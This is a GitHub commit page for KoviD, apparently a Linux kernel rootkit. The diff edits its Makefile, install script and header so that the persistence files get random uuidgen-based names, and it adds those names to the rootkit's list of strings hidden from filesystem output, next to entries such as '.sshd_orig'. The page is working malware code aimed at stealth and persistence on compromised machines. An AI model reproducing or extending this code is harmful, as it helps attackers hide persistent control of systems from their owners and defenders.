Skip to content

Commit

Permalink
Set persistence filenames from uuidgen output
Browse files Browse the repository at this point in the history
  • Loading branch information
JNE committed Oct 2, 2024
1 parent ebc05c9 commit 821b8cd
Show file tree
Hide file tree
Showing 3 changed files with 17 additions and 6 deletions.
7 changes: 6 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,12 @@ endif
LD=$(shell which ld)
AS=$(shell which as)
CTAGS=$(shell which ctags))
UUIDGEN := $(shell uuidgen)

# PROCNAME, /proc/<name> interface. You must change it.
COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \
-DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200
-DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \
-DUUIDGEN=\"$(UUIDGEN)\"

EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}

Expand All @@ -30,6 +33,8 @@ all: persist
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

persist:
sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S
sed -i "s|.kv.ko|${UUIDGEN}.ko|g" $(persist).S
$(AS) --64 $(persist).S -statistics -fatal-warnings \
-size-check=error -o $(persist).o
$(LD) -Ttext 200000 --oformat binary -o $(persist) $(persist).o
Expand Down
12 changes: 9 additions & 3 deletions scripts/install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,15 @@
#
# Install KoviD persistence
# -hash

set -eou pipefail

# UUIDGEN must be passed as environment variable.
# Check Makefile, persist.S
#
# Use:
# UUIDGEN=value ./install.sh
UUIDGEN=$UUIDGEN

PREFIX="/${0%/*}"
PREFIX=${PREFIX:-.}
PREFIX=${PREFIX#/}/
Expand Down Expand Up @@ -67,8 +73,8 @@ function do_install_files_error() {
function do_install_files() {
local rc=0

cp -v "$KOVID" "$INSTALL"/.kv.ko || rc=1
cp -v "$LOADER" "$INSTALL"/.lm.sh || rc=1
cp -v "$KOVID" "$INSTALL"/.$UUIDGEN.ko || rc=1
cp -v "$LOADER" "$INSTALL"/.$UUIDGEN.sh || rc=1

return $rc
}
Expand Down
4 changes: 2 additions & 2 deletions src/lkm.h
Original file line number Diff line number Diff line change
Expand Up @@ -169,8 +169,8 @@ unsigned long kv_get_elf_vm_start(pid_t);
* Hide these names from write() fs output
*/
static const char *kv_hide_str_on_load[] = {
".kovid", "kovid", "kovid.ko", ".kv.ko",
".lm.sh", ".sshd_orig", NULL
".kovid", "kovid", "kovid.ko", UUIDGEN ".ko",
UUIDGEN ".sh", ".sshd_orig", NULL
};

enum {
Expand Down

0 comments on commit 821b8cd

Please sign in to comment.